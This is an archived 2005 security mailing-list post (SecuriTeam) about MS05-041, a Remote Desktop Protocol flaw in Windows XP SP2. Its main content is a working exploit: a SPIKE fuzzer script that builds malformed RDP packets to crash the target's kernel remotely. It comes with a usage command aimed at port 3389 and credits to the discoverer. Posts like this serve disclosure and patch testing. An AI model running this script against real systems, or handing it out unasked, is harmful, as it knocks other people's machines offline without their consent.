[EXPL] Vulnerability in Remote Desktop Protocol Could Allow Denial of Service (MS05-041, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/10/05

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Date: 10 Aug 2005 14:51:29 +0200

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      Vulnerability in Remote Desktop Protocol Could Allow Denial of Service
    (MS05-041, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    The following code exploits the RDP vulnerability described in Microsoft's
    security advisory:
    <http://www.securiteam.com/windowsntfocus/5VP0B00GKS.html> Vulnerability
    in Remote Desktop Protocol Allow DoS.

    DETAILS

    Exploit Code:
    // Windows XP SP2 'rdpwd.sys' Remote Kernel DoS
    //
    // Discovered by:
    // Tom Ferris
    // tommy[at]security-protocols[dot]com
    //
    // Tested on:
    // Microsoft Windows XP SP2
    //
    // Usage (SPIKE) : ./generic_send_tcp 192.168.1.100 3389 remoteass.spk 1 0
    //
    // 8/9/2005 Security-Protocols.com
    //
    // This program is free software; you can redistribute it and/or modify it
    under
    // the terms of the GNU General Public License version 2, 1991 as
    published by
    // the Free Software Foundation.

    s_block_start("packet_1");
    s_string_variable("03");
    s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A 20 6D
    73 74 73 68 61 73 68 3D 41 64 6D 69 6E 69 73 74 72 0D 0A");
    s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A");
    s_string_variable("");
    s_binary("41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41");
    s_string_variable("");
    s_block_end("packet_1");

    s_block_start("packet_2");
    s_int_variable(0x0500,5);
    s_block_end("packet_2");

    s_block_start("packet_3");
    s_binary("000002020000");
    s_string_variable("");
    s_block_end("packet_3");

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:tommy@security-protocols.com> Tom Ferris.
    The original article can be found at:
    <http://www.frsirt.com/exploits/20050809.remoteass.spk.php>
    http://www.frsirt.com/exploits/20050809.remoteass.spk.php

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